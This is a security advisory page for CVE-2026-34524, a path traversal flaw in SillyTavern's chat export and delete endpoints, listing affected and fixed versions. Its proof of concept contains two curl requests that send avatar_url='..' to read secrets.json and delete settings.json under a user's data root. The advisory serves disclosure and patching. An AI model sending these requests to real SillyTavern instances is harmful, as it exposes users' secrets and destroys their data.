CVE-2026-34524: SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root
Summary A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatarurl="..". Details The input validator used by avatarurl blocks only / and NUL bytes, but does not block traversal segments like ...
Published Apr 1, 2026 · Updated Apr 6, 2026
Affected packages
sillytavern
- Ecosystem
- npm
- Affected
- <= 1.16.0
- Fixed in
- 1.17.0
- Check
npm ls sillytavern
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url="..".
Details
The input validator used by avatar_url blocks only / and NUL bytes, but does not block traversal segments like ...
Evidence:
- Weak validator regex (does not reject
..): - Vulnerable delete path construction:
- Vulnerable export path construction:
- Endpoint auth context (authenticated user access):
Because avatar_url=".." is accepted, path.join(<user>/chats, "..") resolves to <user>/, enabling direct access to files outside the chats directory.
PoC
Prerequisites:
- Valid authenticated session cookie (
cookie.txt) - Valid CSRF token (
$TOKEN)
Read sensitive file (secrets.json):
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
http://TARGET:8000/api/chats/exportDelete sensitive file (settings.json):
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","chatfile":"settings.json"}' \
http://TARGET:8000/api/chats/deleteImpact
- Confidentiality: exposed per-user secrets and config data.
- Integrity/Availability: attacker can delete critical per-user files and break account operation.
- Risk is significant in multi-user or remotely reachable deployments.
Resolution
The issue was addressed in version 1.17.0
Credited to maru1009.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-46372
SillyTavern: SSRF in SearXNG Search Proxy via Unvalidated baseUrl
high8.5May 19, 2026CVE-2026-44648
SillyTavern: Existing sessions are not invalidated after password change, allowing session reuse and account takeover
high7.5May 12, 2026CVE-2026-44649
SillyTavern has Authentication Bypass via SSO Header Injection
critical9.8May 12, 2026CVE-2026-44650
SillyTavern has a Path Traversal issue
critical9.1May 12, 2026CVE-2026-44651
SillyTavern has a reflected XSS vulnerability in the CORS proxy middleware
medium6.9May 12, 2026CVE-2026-44652
SillyTavern has a SSRF vulnerability in the CORS proxy middleware
medium6.9May 12, 2026
